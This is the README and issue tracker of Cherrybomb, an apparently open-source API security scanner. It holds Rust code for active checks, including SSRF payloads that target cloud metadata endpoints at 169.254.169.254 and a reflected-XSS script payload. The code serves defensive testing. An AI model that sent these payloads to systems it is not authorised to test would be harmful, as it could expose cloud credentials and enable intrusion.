blst-security / cherrybomb

Stop half-done APIs! Cherrybomb is a CLI tool that helps you avoid undefined user behaviour by auditing your API specifications, validating them and running API security tests.

Stop half-done API specifications

💣 What is Cherrybomb?

Cherrybomb is an CLI tool written in Rust that helps prevent incorrect code implementation early in development. It works by validating and testing your API using an OpenAPI file. Its main goal is to reduce security errors and ensure your API functions as intended.

🔨 How does it work?

Cherrybomb makes sure your API is working correctly. It checks your API's spec file (OpenAPI Specification) for good practices and makes sure it follows the OAS rules. Then, it tests your API for common issues and vulnerabilities. If any problems are found, Cherrybomb gives you a detailed report with the exact location of the problem so you can fix it easily.

🐾 Get Started

Installation

Linux/MacOS:

curl https://cherrybomb.blstsecurity.com/install | /bin/bash

The script requires sudo permissions to move the cherrybomb bin into /usr/local/bin/.

(If you want to view the shell script(or even help to improving it - /scripts/install.sh)

Containerized version

You can get Cherrybomb through its containerized version which is hosted on AWS ECR, and requires an API key that you can get on that addess(the loading is a bit slow) - https://cicd.blstsecurity.com/

docker run --mount type=bind,source=[PATH TO OAS],destination=/home public.ecr.aws/blst-security/cherrybomb:latest cherrybomb -f /home/[OAS NAME] --api-key=[API-KEY]

Get it from crates.io

cargo install cherrybomb

If you don't have cargo installed, you can install it from here

Building from Sources

You can also build Cherrybomb from sources by cloning this repo, and building it using cargo.

git clone https://github.com/blst-security/cherrybomb && cd cherrybomb

The main branch's Cargo.toml file uses cherrybomb-engine and cherrybomb-oas from crates.io.

if you want build those from source too, you can change the following files:

(remove the version number and replace with the path to the local repo)

cherrybomb/Cargo.toml:
cherrybomb-engine = version => { path = "cherrybomb-engine" }

cherrybomb/cherrybomb-engine/Cargo.toml:
cherrybomb-oas = version => { path = "../cherrybomb-oas" }

cargo build --release
sudo mv ./target/release/cherrybomb /usr/local/bin # or any other directory in your PATH

Profile

Profiles allow you to choose the type of check you want to use.

- info: only generates param and endpoint tables
- normal:  both active and passive
- intrusive: active and intrusive [in development]
- passive: only passive tests
- full: all the options

Config

With a configuration file, you can easily edit, view, Cherrybomb's options. The config file allows you to set the running profile, location of the oas file, the verbosity and ignore the TLS error.

Config also allows you to override the server's URL with an array of servers, and add security to the request [in development].

Notice that CLI arguments parameter will override config options if both are set.

You can also add or remove checks from a profile using passive/active-include/exclude. [in development]

cherrybomb --config  <CONFIG_FILE>

Structure of config file:

{
"file" : "open-api.json",
"verbosity" : "normal, 
"profile" : " "Normal",
"passive_include" : ["check1, checks2"],
"active_include": ["check3, check4"],
"servers_override" , ["http://server/"],
"security":  [{
    "auth_type": "Basic",
    "auth_value" : token_value,
    "auth_scope" : scope_name
    }],
"ignore_tls_errors" : true, 
"no_color" : false,
}

Usage

After installing, verify it's working by running

cherrybomb --version

OpenAPI specification

cherrybomb --file <PATH> --profile passive

Passive Output example:

Generate Info Table

cherrybomb --file <PATH> --profile info

Parameter table output:

Endpoint table output:

🍻 Integration

You can embed it into your CI pipeline, and If you plan on doing that I would recommend that you go to our website, sign up, go through the CI pipeline integration wizard, and copy the groovy/GitHub actions snippet built for you.

Example:

💪 Support

Get help

If you have any questions, please send us a message to [email protected] or ask us on our discord server.

You are also welcome to open an Issue here on GitHub.

cherrybomb's Issues

Active Profile

Is your feature request related to a problem? Please describe.
Running only active tests it 's not possible at this moment, because the active profile is missing.

Describe the solution you'd like
Adding the Profile::Active instead of Profile::Intrusive into the CLI and the Config file.
(Intrusive is not yet implemented).

• Adding profile OWASP can be interesting fro running all test related to Top10API 2023.

@GuyL99

data did not match any variant of untagged enum SchemaRef

Describe the bug
with version 0.7.2:

$ cherrybomb oas --file ~openapi.json
data did not match any variant of untagged enum SchemaRef

or with another command

cherrybomb param-table --file openapi.json
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: Error("data did not match any variant of untagged enum SchemaRef", line: 0, column: 0)', /home/teto/.cargo/registry/src/github.com-1ecc6299db9ec823/cherrybomb-swagger-0.1.1/src/tables/param_table.rs:206:62

sadly I can't share the openapi.json (i can extract a MWE if needed), I can say that https://editor.swagger.io/ detected tons of errors in our spec but I was looking for a local tool to install and check the results.

Failure while trying to install cherrybomb

Describe the bug
The application won't compile through cargo compile.

To Reproduce
Steps to reproduce the behavior:

1. Execute the cargo install cherrybomb command

Expected behavior
A proper installation/compile

Screenshots

Desktop (please complete the following information):

• OS: Linux compooter 5.15.65-1-MANJARO #1 SMP PREEMPT Mon Sep 5 10:15:47 UTC 2022 x86_64 GNU/Linux

To release Cherrybomb binaries for common archs

Is your feature request related to a problem? Please describe.
Can blst-security team release cherrybomb binaries during the official release? It'll help users download binaries directly from GitHub.

Describe the solution you'd like
I'll like to download binaries from the GitHub release section and use cherrybomb on the go.

api key is not able to generate

Describe the bug
I am trying to generate api key from https://cicd.blstsecurity.com/ ,but its keep loading .

To Reproduce
Steps to reproduce the behavior:

1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

• OS: [e.g. iOS]
• Browser [e.g. chrome, safari]
• Version [e.g. 22]

Additional context
Add any other context about the problem here.

TLS error when scanning an internal API

Describe the bug
I’m trying to integrate cherrybomb within our CI/CD but I faced the following a TLS error.

To Reproduce
Steps to reproduce the behavior:

cherrybomb oas --file swagger_docs.json -a 1 --format txt -v 2

ERROR: error sending request for url ([https://internal-api//v1/rates/](https://internal-api/v1/rates/)): error trying to connect: invalid peer certificate contents: invalid peer certificate: UnknownIssuer

It’s an internal API of my company, and the certificate is already installed/trusted in my local machine (other installed tool, like curl, can access the same URL without any TLS error) and it's not self-signed certificate.

Expected behavior
The ability to trust pre installed certificate on the local machine, or just simply a setting parameter to ignore certificate check (which can be a bit dangerous).

Desktop (please complete the following information):

• OS: Linux LTPAR500977 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
• Version : v0.7.0

Additional context
I've installed cherrybomb using the cargo install cherrybomb cmd.

Active Test / SQLI

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application.
The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.
The check has to simulate a SQL Injection on every Method/Endpoint where parameter should be vulnerable.
For more info :
https://book.hacktricks.xyz/pentesting-web/sql-injection

Stack overflow with circular references.

Describe the bug
When trying to analyse a specific swagger.json file, cherrybomb exits with a stack overflow.

To Reproduce
Steps to reproduce the behavior:

1. extract the zip file; the json file contained within is 129 lines long; too big to paste here sensibly but not extravagant
2. run cherrybomb oas -f ./mvr.json
   mvr.json.zip
3. See error;

No config file was loaded to the scan, default configuration is being used


thread 'main' has overflowed its stack
fatal runtime error: stack overflow
[1]    27024 abort      cherrybomb oas -f ./mvr.json

Expected behavior
I would expect cherrybomb to identify the circular reference and warn on it.

Desktop (please complete the following information):

• OS: MacOS
• Version 12.x

Additional context
The json setup of the swagger file won't make much sense. I sanitised it, and reduced what was a ~9k line file into something as small as I was willing to go without spending too much time on it. It reliably reproduces the problem I was observing.

Discussed in discord.

Publish crate as a library

Is your feature request related to a problem? Please describe.
I'd like to apply the tool in CI to an API written in Rust.

Describe the solution you'd like
Publish the crate as a library on crates.io. This will allow using the library in tests in-process, without having to compile or install it separately and without having to expose an internal schema.

Homebrew method of installation

Is your feature request related to a problem? Please describe.

I would like to install and receive upgrades for cherrybomb using my package manager on macOS. Homebrew.

Describe the solution you'd like

I would like to do a brew install cherrybomb to install cherrybomb to the latest version.

Describe alternatives you've considered

Installing it using a script. I would prefer a package manager to be notified when an upgrade is available.

I use the latest version of macos

💡 Provide CherryBomb in an official Docker image

Is your feature request related to a problem? Please describe.
For users that want to run/use your tool in a CI/CD pipeline as part of a quality check, needing to install the tool locally may not always be an option.

Describe the solution you'd like
I would like to see this tool be made available in an official Docker image like many other CLI-based tools provide (ie. AquaSec/Trivy, BridgeCrew/Checkov, etc.).

Describe alternatives you've considered
A self-built container with the tool installed.

Additional context
None

support arm cpu

I used this command to install cherrybomb on the m2 mac.

curl https://cherrybomb.blstsecurity.com/install | /bin/bash

But zsh hints:

zsh: bad CPU type in executable: cherrybomb

I think it is better to add an arm cpu adaptation does not require rosetta 2, as there will be other mac users who will also encounter it.

Active-check downgrade from https to http

---

@RazMag
I am writing an active check function, trying to modify the protocol of https to http or modify the port to 80. But it seems that the attack builder build the request directly from the OAS ,
No matter what you put into the .uri the AttackRequest::builder will build the request with the protocol of the OAS.

pub async fn check_ssl(&self, auth: &Authorization) -> CheckRet { let mut ret_val: Vec<(ResponseData, AttackResponse)> = vec![]; let mut attack_log: AttackLog = AttackLog::default(); if let Some(server_url) = self.oas.servers() { for i in server_url { let format_url = create_http_url(i.url); let req = AttackRequest::builder() .uri(&format_url, "") .auth(auth.clone()) .build(); if let Ok(res) = req.send_request(true).await { //logging request/response/description attack_log.push(&req, &res, "Testing min/max values".to_string()); let res_data = ResponseData { location: new_url, alert_text: format!("The is not enforced by the server"), }; ret_val.push((res_data, res.clone())); println!( "{}:{}", "Status".green().bold(), res.status.to_string().magenta() ); } else { println!("REQUEST FAILED"); } } }

Active Test / JWT Token

We are looking for contributors!

JWT attacks involve a user sending modified JWTs to the server to accomplish a malicious goal.
Typically, the goal is to circumvent authentication and access controls by impersonating another authenticated user.
This active check simulates a real attack based JWT token on the API.
Fore more info:
https://portswigger.net/web-security/jwt
https://infosecwriteups.com/attacks-on-json-web-token-jwt-278a49a1ad2e
https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens

Passive Test / JWT Security

We are looking for contributors!

JWT passive test will run several tests on the JWT Token in accordance with best practices.
In other words, ensure that the token's structure is legitimate, valid encryption, etc.
For more details please check OWASP:
https://owasp.org/www-chapter-belgium/assets/2021/2021-02-18/JWT-Security.pdf
https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html

Clearer mechianism to disable active scans

Is your feature request related to a problem? Please describe.
I have a demo server provided by a vendor, and dont want to be performing active scans on it. The passive scans are still quite useful.

Describe the solution you'd like
A clear way to disable the active scans.

Describe alternatives you've considered
I tried cherrybomb oas --active-scan-checks "" --file .. but that replied with

error: The following required arguments were not provided:
    --exclude-active-checks <EXCLUDE_ACTIVE_CHECKS>

I was able to get it to disable the active scans using

cherrybomb oas --active-scan-type 3 --active-scan-checks "" --exclude-active-checks 0 --file ..

The isn't very intuitive.
If a simpler approach isnt possible, perhaps that sequence could be mentioned in the README or some docs, so that the tool doesnt default to active scanning unless the user is aware that will happen.

Additional context
Add any other context or screenshots about the feature request here.

Active Test / Cross Site Scripting

We are looking for contributors!

Needed: new active test.
This active test, checks and verifies if an API is vulnerable to reflected XSS.
Take in consideration that the test does not brute force every parameter on the API against XSS but only test parameter that can potentially vulnerable to XSS.
For more details please check OWASP.

`attacker::attack`

Bug in the parser

@RazMag
During writing an active scan, I encountered strange behavior.
Description
The code do not parse every path on the OAS file.

To Reproduce
Steps to reproduce the behavior:

1. Set the OAS file with this file.
   petstore.txt

2. rename it with .json

3. go to /swagger/sca/src/active/additional_checks.rs

4. add this function:
   `pub async fn check_idors(&self, auth: &Authorization) -> CheckRetVal {
   //// reformat get with path parameter
   let mut ret_val = CheckRetVal::default();
   for oas_map in self.payloads.iter() {
   for (json_path, schema) in &oas_map.payload.map {
   println!("PATH: {}",oas_map.path.path );
   let url;
   if let Some(servers) = &self.oas.servers() {
   if let Some(s) = servers.first() {
   url = s.url.clone();
   } else {
   continue;
   };
   } else {
   continue;
   };
   }

   }

   ret_val
   }
   }
   `

5. Check the ouput. It miss some path: ""/pet/{petId}": from example
   Expected behavior
   This code should print all the existing OAS's path. But it miss some path: ""/pet/{petId}": from example

Desktop (please complete the following information):

• OS: Ubuntu

Parameters without schema causing crash

Describe the bug
When analyzing an OAS JSON file that has parameters which are missing a schema, the application crashes with the following error:

thread 'main' panicked at 'external ref', /home/aha/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cherrybomb-oas-0.1.0/src/legacy/refs.rs:30:13
stack backtrace:
   0: rust_begin_unwind
             at /rustc/90c541806f23a127002de5b4038be731ba1458ca/library/std/src/panicking.rs:578:5
   1: core::panicking::panic_fmt
             at /rustc/90c541806f23a127002de5b4038be731ba1458ca/library/core/src/panicking.rs:67:14
   2: cherrybomb_oas::legacy::refs::SchemaRef::inner
   3: cherrybomb_oas::legacy::param::Param::schema_to_params
   4: <core::iter::adapters::map::Map<I,F> as core::iter::traits::iterator::Iterator>::fold
   5: cherrybomb_engine::scan::passive::utils::get_params
   6: cherrybomb_engine::scan::checks::<impl cherrybomb_engine::scan::passive::passive_scanner::PassiveSwaggerScan<T>>::run_check
   7: cherrybomb_engine::scan::passive::passive_scanner::PassiveSwaggerScan<T>::run
   8: cherrybomb_engine::run_passive_profile
   9: tokio::runtime::park::CachedParkThread::block_on
  10: tokio::runtime::context::runtime::enter_runtime
  11: tokio::runtime::runtime::Runtime::block_on
  12: cherrybomb::main

Example parameter:

{
  "name": "UnknownIdentifier",
  "in": "header",
  "required": true
}

To fix the crash, the parameter can be changed as follows:

{
  "name": "UnknownIdentifier",
  "in": "header",
  "required": true,
  "schema": { "type": "string" }
}

To Reproduce

1. Create an OpenAPI spec with missing schema properties (or use mine: MyBackend.zip)
2. Run the analysis with cherrybomb --file MyBackend.json --profile passive.
3. Observe how the analysis fails with the error mentioned above.

Expected behavior
I would expect a warning for this parameter that indicates a missing schema.

Desktop:

• OS: Ubuntu 22.04.2 LTS
• Version 1.0.0

Additional context
I understand that arbitrarily missing fields aren't necessarily suitable for emitting warnings. However, this particular example was generated by Swagger/Swashbuckle and is reported as valid by other tools.

Remove or sort unused code into new `issue`s

There's a fairly substantial amount of logical code that's stored as comments in this repo. There seems to be a mixture of code that may get used later, and code that either is no longer going to be used or has been corrected but the predecessor was left as a comment instead of being removed. I'll compile a list to make tracking this easier.

In general it may be better practice to store unused code on a local branch if the intention is to use it at a later date, otherwise it may end up forgotten and create clutter as the code base grows. Another option would be to create an issue describing the problem and include the code as a possible solution so that others can understand what the intent of that code is.

Attacker:

• #98
• attacker::auth
  Cli:
• cli::actions
• cli::auth
• cli::main
• cli::main_old
  Decider:
• decider::lib
• decider::rule_based
  Mapper:
• mapper::digest::ep
• mapper::digest::hash
• mapper::digest::utils
• mapper::path::hash
• mapper::path::mod
• mapper::lib
  Swagger:
• swagger::scan::active::http_client::auth
• swagger::scan::active::additional_checks
• swagger::scan::active::logs
• swagger::scan::active::mod
• swagger::scan::passive::general
• swagger::scan::passive::mod
• swagger::scan::passive::utils
• swagger::scan::checks
• swagger::scan::mod
• swagger::scan::print
• swagger::tables::param_table
• swagger::ep
• swagger::lib
• swagger::main
• swagger::param
• swagger::schema

Active/Passive Checks Needed

New Active / Passive Checks

We are excited to announce our new bounty program!
Starting today and following the release of version v0.7.0 were offering bounties for merged PRs of new checks, active and passive opened before the end of 2022.

Conditions

Bounties will be issued for merged PRs of new checks opened before the end of 2022.

• Active checks: $30
• Passive checks: $15

Writing A New Check

Contribution help can be found on the repo. If you feel the need to change any other file than the ones mentioned in the CONTIBUTING.md file feel free to talk with [email protected], [email protected] or on the discord https://discord.gg/prSZHvdVjq.

Choosing A New Test To Write

Easiest way to choose a check to write will be visiting the [issues page](is:issue is:open label:"New passive check","New active check") in the repo.
For more inspiration you can visit OWASP API Security Project or the PortSwigger Web Security Academy and see if you find anything you think could be automated.
If you are solving an existing issue make sure it has the "bounty" label

Raffle

We would also like to offer a raffle depending on the amount of people that will open PRs.
Currently if 10 different people will have their PRs merged we will hold a Raffle between the contributors of company swag!

Spelling error in Lib.rs

Go to swagger -> lib.rs -> struct Encoding
In line 114 , need to change conent_type to ---> content_type
@DeliciousBounty @RazMag

Rename `swagger::thing`

swagger::thing is a fairly large file and could use a more descriptive name

Schema not recognised by cherry bomb

Hello,

Thank you for your project, however I am unable to run it on the Lichess spec due to the following error:

$ cherrybomb --file ../berserk/lichess-spec-fixed.json --profile passive 

╭━━━┳╮╱╱╱╱╱╱╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╱╱╱╱╱╱╱╱╱┃┃╱╱╱╱╱╱╱┃┃
┃┃╱╰┫╰━┳━━┳━┳━┳╮╱╭┫╰━┳━━┳╮╭┫╰━╮
┃┃╱╭┫╭╮┃┃━┫╭┫╭┫┃╱┃┃╭╮┃╭╮┃╰╯┃╭╮┃
┃╰━╯┃┃┃┃┃━┫┃┃┃┃╰━╯┃╰╯┃╰╯┃┃┃┃╰╯┃
╰━━━┻╯╰┻━━┻╯╰╯╰━╮╭┻━━┻━━┻┻┻┻━━╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯       v1.0.0

Starting Cherrybomb...
Opening OAS file...
Parsing OAS file...
Error: Error creating OAS struct: data did not match any variant of untagged enum SchemaRef

I believe it's the same as #100.

You can find the spec online at: https://lichess.org/api.

SSRF active check

This check was written by @DeliciousBounty, waiting on improvements to GET requests that should be added soon and will make these easier to write and test

pub async fn check_for_ssrf(&self, auth: &Authorization) -> (CheckRetVal, Vec<String>) {
        let mut ret_val = CheckRetVal::default();
        let mut provider_vec = vec![];
        let provider_hash = HashMap::from([
            ("Amazon", "http://169.254.169.254/"),
            ("Google", "http://169.254.169.254/computeMetadata/v1/"),
            ("Digital", "http://169.254.169.254/metadata/v1.json"),
            ("Azure", "http://169.254.169.254/metadata/v1/maintenance"),
        ]);
        let base_url = self.oas.servers().unwrap().get(0).unwrap().clone(); //todo ouch
        for (path, item) in &self.oas.get_paths() {
            for (m, op) in item.get_ops().iter().filter(|(m, _)| m == &Method::GET) {
                
                let mut param_is_good_to_send = false;

                for (provider_item, value_to_send) in &provider_hash {
                    let mut params_vec = vec![];
                    let payload_get_param = create_payload_for_get(
                        &self.oas_value,
                        op,
                        Some(value_to_send.to_string()),
                    );
                    for parameter_item in payload_get_param {
                        if parameter_item.dm == QuePay::Query {
                            if LIST_PARAM.contains(&parameter_item.name.as_str()) {
                                params_vec.push(parameter_item);
                                param_is_good_to_send = true;
                            }
                        } else {
                            params_vec.push(parameter_item);
                        }
                    }

                    if param_is_good_to_send {
                        provider_vec.push(provider_item.to_string());
                        println!("SSRF GET: ----");
                        let req = AttackRequest::builder()
                            .uri(&base_url.url, path)
                            .parameters(params_vec.clone())
                            .auth(auth.clone())
                            .method(m.to_owned())
                            .headers(vec![])
                            .auth(auth.clone())
                            .build();

                        if let Ok(res) = req.send_request(true).await {
                            //logging
                            //logging request/response/description
                            ret_val
                                .1
                                .push(&req, &res, "Testing ssrf for get ".to_string());
                            ret_val.0.push((
                                ResponseData{
                                    location: path.clone(),
                                    alert_text: format!("The parameter {:?} seems to be vulerable to open-redirect on the {} endpoint",&params_vec.last().unwrap(),path)//TODO Chekc if is it the correct parameter
                                },
                            res.clone(),
                            ));
                        } else {
                            println!("REQUEST FAILED");
                        }
                    }
                    
                }
            }
        }
        (ret_val, provider_vec)
    }
    
    pub async fn check_ssrf_post(&self, auth: &Authorization) -> (CheckRetVal, Vec<String>) {
        println!("-------------------------POST SSRF-----------------------");
        let mut ret_val = CheckRetVal::default();
        let mut provider_vec = vec![];
        let provider_hash = HashMap::from([
            ("Amazon", "http://169.254.169.254/"),
            ("Google", "http://169.254.169.254/computeMetadata/v1/"),
            ("Digital", "http://169.254.169.254/metadata/v1.json"),
            ("Azure", "http://169.254.169.254/metadata/v1/maintenance"),
        ]);
        for oas_map in self.payloads.iter() {
            for json_path in oas_map.payload.map.keys() {
                for (m, _) in oas_map
                    .path
                    .path_item
                    //.filter(|| path_item==p)
                    .get_ops()
                    .iter()
                    .filter(|(m, _)| m == &Method::POST)
                //947
                {
                    let param_to_test =
                        &json_path.last().unwrap_or(&"empty".to_string()).to_owned()[..];
                    if LIST_PARAM.contains(&param_to_test) {
                        for (provider_item, provider_value) in &provider_hash {
                            if let Some(server) = self.oas.servers().and_then(|servers| servers.first().cloned()){
                                
                                provider_vec.push(provider_item.to_string());
                                let req = AttackRequest::builder()
                                    .uri(&server.url, &oas_map.path.path)
                                    .method(*m)
                                    .headers(vec![])
                                    .parameters(vec![])
                                    .auth(auth.clone())
                                    .payload(
                                        &change_payload(
                                            &oas_map.payload.payload,
                                            json_path,
                                            json!(provider_value),
                                        )
                                        .to_string(),
                                    )
                                    .build();

                                print!("POST SSRF : ");

                                if let Ok(res) = req.send_request(true).await {
                                    //logging request/response/description
                                    ret_val
                                        .1
                                        .push(&req, &res, "Testing SSRF VALUES".to_string());
                                    ret_val.0.push((
                                        ResponseData {
                                            location: oas_map.path.path.clone(),
                                            alert_text: format!(
                                                "This {} parameter on the {} endpoint seems to be vulerable to ssrf.", json_path[json_path.len() - 1],&param_to_test// json_path[json_path.len() - 1]
                                            ),
                                        },
                                        res.clone(),
                                    ));
                                    println!(
                                        "{}:{}",
                                        "Status".green().bold(),
                                        res.status.to_string().magenta()
                                    );
                                } else {
                                    println!("REQUEST FAILED");
                                }
                            }
                        }
                    }
                }
            }
        }
        (ret_val, provider_vec)
    }

wrong parameter name

In the Path.rs file, then in the "PathItem" struct the public field description is not written correctly.
pub descrition: Option,
Cheers ,

Build error `E0277`: trait bound `f64: std::cmp::Eq` is not satisfied

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

1. Checkout latest main
2. Run cargo build --release
3. See error

Expected behavior
The project would actually build.

Screenshots

error[E0277]: the trait bound f64: std::cmp::Eq is not satisfied
--> swagger/src/schema.rs:56:5

cherrybomb/swagger/src/schema.rs

Line 56 in 1004531

pub maximum: Option<f64>,

= note: required because of the requirements on the impl of std::cmp::Eq for std::option::Option<f64>
note: required by a bound in AssertParamIsEq
--> /Users/pelle/.rustup/toolchains/stable-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/cmp.rs:317:31

Desktop (please complete the following information):

• OS: [e.g. iOS] MacOS 12.5.1 M1

Additional context
I guess this might be because I'm compiling on an M1 and thus is targeting aarch64?

More passive checks

We are always looking for more passive checks to add to our growing list of checks!
Guide on how to contribute:https://github.com/blst-security/cherrybomb/blob/main/CONTRIBUTING.md
If you still want some help or just to chat go to our discord server: https://discord.gg/WdHhv4DqwU

OpenAPI v3.1 Support

Hello! As the maintainer of openapi.tools, and as somebody works with Linux Foundation helping out in OpenAPI-land, I'm reaching out to tooling vendors to track the progress towards supporting OpenAPI v3.1, to see what roadblocks there are beyond folks just generally being busy at this ridiculous time.

OpenAPI v3.1 has a bunch of great little changes, solving problems like the the JSON Schema <!=> OpenAPI Schema Object divergence. It also fixes some other inconsistencies and duplicate ways of doing things. It's the best version and everyone should be using it, but we need tooling to catch up. Just in case folks didn't notice, or don't have resources to simplify the process, I'm here to give a friendly prod and send over some handy links.

Here are a few articles showing off the differences between OpenAPI v3.0 and v3.1.

• https://www.openapis.org/blog/2021/02/16/migrating-from-openapi-3-0-to-3-1-0
• https://www.apimatic.io/blog/2021/09/migrating-to-and-from-openapi-3-1/
• https://nordicapis.com/whats-new-in-openapi-3-1-0/

Here are some example files which can make for handy pass/fail test cases:

https://github.com/Mermade/openapi3-examples/tree/master/3.1

If you're looking for the JSON Schema that defines a valid OpenAPI document, that'll be right over here:

https://github.com/OAI/OpenAPI-Specification/tree/main/schemas/v3.1

When you're starting work on it, please update this issue so I can update openapi.tools to reflect that, and folks will have a way to subscribe for updates.

LMK if you have any questions!

Prevent fields being listed in `required` that are not in properties

Is your feature request related to a problem? Please describe.
The required list of fields in a schema can get out of sync with the fields actually present in the schema's properties list.

This is less likely to occur when the schemas are generated from the application, but more likely in an API-first approach when there app is built from the spec.

Describe the solution you'd like
Passive check that detect a name in required that isnt in properties.

Describe alternatives you've considered
While this is less about "is the API working correctly", but is the API consistent with itself.

Additional context
Provided this feature is desirable in cherrybomb, I could take this one on as it is a simple check.

💡 Provide additional output format controls and options

Is your feature request related to a problem? Please describe.
Whether using the command cherrybomb oas [OR] swagger --file <PATH> --output <PATH> or running the command without the --output it produces a results.txt file. For use in a CI/CD pipeline, this file makes it difficult to react to the results.

Describe the solution you'd like
I would like to see the tool support other common formats (ie. JSON, JUnit, SARIF, etc.), and provide the ability to control the output of that file (ie. allowing a multi-type output versus having to run the tool multiple times, such as --type JSON,JUnit,SARIF).

Further, having the ability to control the output by severity or result (ie. only outputting the Failed checks or High severities).

Describe alternatives you've considered
None

Additional context
Context would be running in a CI/CD pipeline, like Azure DevOps, or GitHub Actions.

CONTRIBUTING.md: broken link to "examples folder"

Describe the bug
CONTRIBUTING.md, "We have already implemented a OAS interface that can read and destructure the inputted file (a few OAS files for example are available in the examples folder)." - refers to a wrong folder

To Reproduce
Steps to reproduce the behavior:

1. Go to CONTRIBUTING.md
2. Click on 'examples folder' URL
3. See error 404

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots

Desktop (please complete the following information):

• OS: Win 10
• Browser Chrome
• Version 109.0.5414.75

Additional context

The correct link might be the https://github.com/blst-security/cherrybomb/tree/main/swagger/examples

Might be a "good first time issue"

Servers _override

@RazMag

The override for the flag server is broken

Few questions to make it clear:
The flag "servers-override" from the config file is intended to override any others servers that the user may have supply from the command line?
Or should the inverted, "server" supplied as an input on the command line take precedence over the configuration file?

Personally I I advise that " servers_override" from the config file will add and not override any oyhers servers and the "--server" flag will override every server including from the config file and the oas file.

OAS SERVERS

The association between the check from "engine" crate and the main crate (I mean the main function and user configuration) is a crucial element.
I'm referring to the fact that you can access the user-provided servers from the engine crate including the active check.
For the moment only the servers provided by the OAS file will always be used by the active check module.

Add `cargo fmt` check to `dev-build-check.yml`

I think this will greatly improve the readability of the code for newcomers.

For reference check out: https://github.com/FuelLabs/sway/blob/master/.github/workflows/ci.yml#L263

Updates to the CI provided get added fairly frequently, if the link expires the name of the job is cargo-fmt-check.

Consider adding `label`s specific to submodules for `issue` organization

E.g. swagger, attacker, decider, etc.

EMPTY JSON PATH

@RazMag
Description of the bug
The change_payload function in Active test fail to parse the JSON.
I wrote a check for xss, during the running time I got an error "cannot access key "" in JSON array.

To Reproduce
Go to swagger/src/active/additional_checks.rs
Paste the following code , the code crash when the function change_payload is called.
My function is the same as the min_max function check.

pub async fn check_xss_reflected(&self, auth: &Authorization) -> CheckRetVal{ let mut ret_val = CheckRetVal::default(); for oas_map in self.payloads.iter() { for (json_path, schema) in &oas_map.payload.map { for (m, _) in oas_map .path .path_item .get_ops() .iter() .filter(|(m, _)| m == &Method::POST) .filter(|(m,_)|schema.schema_type == Some("string".to_string())) { let url; if let Some(servers) = &self.oas.servers() { if let Some(s) = servers.first() { url = s.url.clone(); } else { continue; }; } else { continue; }; let test_vals= ("payload", "<script>alert()</script>") let req = AttackRequest::builder() .uri(&url, &oas_map.path.path) .method(*m) .headers(vec![]) .parameters(vec![]) .auth(auth.clone()) .payload( &change_payload(&oas_map.payload.payload, json_path, json!(test_vals.1)).to_string(), ) .build();

Expected behavior
The code panicked with this error: thread 'main' panicked at 'cannot access key "firstName" in JSON array'.

Screenshots

Additional context
During the debugging it appears that the json path value has an empty string (screenshot).
The source's problem is difficult to detect because the problematic "key" change at each execution of the program.( see the second screenshot)

CLI panick when server url contains `variables` that have a default

Describe the bug

I have an OpenAPI v3 with a servers section which uses variables that all have defaults, roughly like the following

servers:
  - url: "https://some-server.com:{port}/{basePath}"
    variables:
      port:
        default: "443"
      basePath:
        default: "SomePath/v1"

This causes the CLI to panick because it tries to fetch from literal https://some-server.com:{port}/{basePath}/endpoint1

To Reproduce
Steps to reproduce the behavior:

1. Create an OAS containing servers with variables that all have a default
2. Run RUST_BACKTRACE=full cherrybomb oas --file /path/to/openapi3.yaml
3. See error

Expected behavior
The defaults should be substituted into the url.

Screenshots

thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: reqwest::Error { kind: Builder, source: InvalidPort }', /home/jayvdb/rust/cherrybomb/swagger/src/scan/active/http_client/req.rs:133:14
stack backtrace:
   0:     0x5594e8f28ea0 - std::backtrace_rs::backtrace::libunwind::trace::h8775ca7549bd9aaf
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/../../backtrace/src/backtrace/mod.rs:66:5
   1:     0x5594e8f28ea0 - std::backtrace_rs::backtrace::trace_unsynchronized::h32943b3fb883795a
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/../../backtrace/src/backtrace/mod.rs:66:5
   2:     0x5594e8f28ea0 - std::sys_common::backtrace::_print_fmt::h0669395116b5d100
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/sys_common/backtrace.rs:66:5
   3:     0x5594e8f28ea0 - <std::sys_common::backtrace::_print::DisplayBacktrace as core::fmt::Display>::fmt::h1c1f48aaca31af10
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/sys_common/backtrace.rs:45:22
   4:     0x5594e8f4eeae - core::fmt::write::h661da9189e69e70a
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/core/src/fmt/mod.rs:1202:17
   5:     0x5594e8f228b5 - std::io::Write::write_fmt::h1d5b175244301558
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/io/mod.rs:1679:15
   6:     0x5594e8f2a6a3 - std::sys_common::backtrace::_print::h6a2a07f240de0cad
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/sys_common/backtrace.rs:48:5
   7:     0x5594e8f2a6a3 - std::sys_common::backtrace::print::h995e03192e670124
